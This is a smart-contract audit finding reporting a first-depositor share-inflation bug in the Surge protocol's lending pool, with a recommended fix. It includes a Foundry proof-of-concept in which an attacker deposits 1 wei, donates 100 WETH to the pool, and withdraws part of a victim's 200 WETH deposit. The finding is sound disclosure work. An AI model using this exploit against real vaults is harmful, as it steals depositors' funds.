CRYP70

high

# First depositor can steal funds from users by forcibly depositing to the lending pool

# [HIGH-01] - First depositor can steal funds from users by forcibly depositing to the lending pool

## Summary

The surge protocol lending pool allows for users to deposit and withdrawal tokens where if users deposit, shares are minted to the user similarly to that of an ERC4626 vault however, the implementation when calculating shares recieved via the `tokensToShares()` function is exploitable by the first depositor. 


## Vulnerability Detail
The first depositor of the vault is able to artificially manipulate the price of a pool share token by depositing the equivalent of 1 wei to the pool first. Following this they can deposit a normal amount. When the user deposits to the vault, the attacker is able to withdraw their shares to take a profit from the victim's deposit. This is possible because when the first deposit occurs, if supply is zero, the supply will equal the current amount of tokens. However, the `_loanTokenBalance` is being passed to `tokensToShares()` that is obtained via `LOAN_TOKEN.balanceOf()` which the attacker can interface with to manipulate the price of shares by forcibly transferring shares to the pool. 


## Impact
This effectively results in the theft of tokens from other users. This was rated a high in severity because the rate at which pools are continuously deployed by any EOA gives a user intending to cause malice ample opportunity to trigger this bug. The proof of concept below outlines this scenario:

*Proof of Concept*
```solidity
    // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import "forge-std/Test.sol";
import "../src/Pool.sol";
import "../src/Factory.sol";

import "forge-std/console.sol";

interface IWETH9 {
    function deposit() external payable;

    function withdraw(uint256 wad) external;

    function totalSupply() external;

    function approve(address guy, uint256 wad) external returns (bool);

    function transfer(address dst, uint256 wad) external returns (bool);

    function transferFrom(
        address src,
        address dst,
        uint256 wad
    ) external returns (bool);

    function balanceOf(address who) external returns (uint256);
}

contract PoolTest is Test {
    Factory factory;

    address alice = vm.addr(1);
    address bob = vm.addr(2);
    address eve = vm.addr(3);

    address wethDoner = 0xF04a5cC80B1E94C69B48f5ee68a08CD2F09A7c3E;
    address usdcDoner = 0x0A59649758aa4d66E25f08Dd01271e891fe52199;
    address daiDoner = 0xb527a981e1d415AF696936B3174f2d7aC8D11369;

    IWETH9 weth = IWETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);

    function setUp() public {
        factory = new Factory(address(this), "G");

        vm.deal(address(alice), 500 ether);
        vm.deal(address(bob), 500 ether);
        vm.deal(address(eve), 500 ether);

        vm.label(address(alice), "ALICE");
        vm.label(address(bob), "BOB");
        vm.label(address(eve), "EVE");
    }

	function testFirstDepositors() public {
	    //  Note this was tested on a mainnet fork
        //  =========== Setup scenario ===========
        vm.startPrank(address(eve));
        weth.deposit{value: 101 ether}();
        vm.stopPrank();

        vm.startPrank(address(alice));
        weth.deposit{value: 200 ether}();
        vm.stopPrank();

        // Assert starting balance
        assertEq(weth.balanceOf(address(eve)), 101 ether);
        assertEq(weth.balanceOf(address(alice)), 200 ether);

        Pool pool = factory.deploySurgePool(
            IERC20(address(dai)),
            IERC20(address(weth)),
            1e18, // Standard values observed in the unit tests
            0.8e18,
            1e15,
            1e15,
            0.1e18,
            0.4e18,
            0.6e18
        ); // Default values

        // =========== Start scenario ===========
        // eve sets up exploit for victim user
        vm.startPrank(address(eve));
        weth.approve(address(pool), weth.balanceOf(address(eve)));
        pool.deposit(1);

        weth.transfer(address(pool), 100 ether);
        vm.stopPrank();

        // Alice, the victim deposits 200 ether into the pool hoping to take part
        vm.startPrank(address(alice));
        weth.approve(address(pool), weth.balanceOf(address(alice)));

        pool.deposit(200 ether);
        vm.stopPrank();

        // eve triggers the bug and removes her balance as well as a chunk of alice's share
        vm.startPrank(address(eve));
        pool.approve(address(pool), pool.balanceOf(address(eve)));

        pool.withdraw(type(uint256).max);
        vm.stopPrank();

        // Shaken by the exploit, alice quickly tries to withdraw
        vm.startPrank(address(alice));
        pool.approve(address(pool), pool.balanceOf(address(alice)));

        pool.withdraw(type(uint256).max);
        vm.stopPrank();

        // Assert Eve has net profited 50 ether
        assertEq(weth.balanceOf(address(eve)), 150.999999999999999999 ether);
        // Assert some of Alice's tokens have been stolen as she started with 200 ether
        assertEq(weth.balanceOf(address(alice)), 150.000000000000000001 ether);
    }
}
```

## Code Snippet
- https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L308
- https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L324
- https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L199-L204

## Tool used

Manual Review

## Recommendation

- Recommend first sending 1000 wei (a very small amount) to the zero address or an address in the protocol's control in order to prevent this attack from happening as the attack becomes way too expensive for attackers (1000 * the initial supply of tokens). This is how UniswapV2 fixed this issue. 

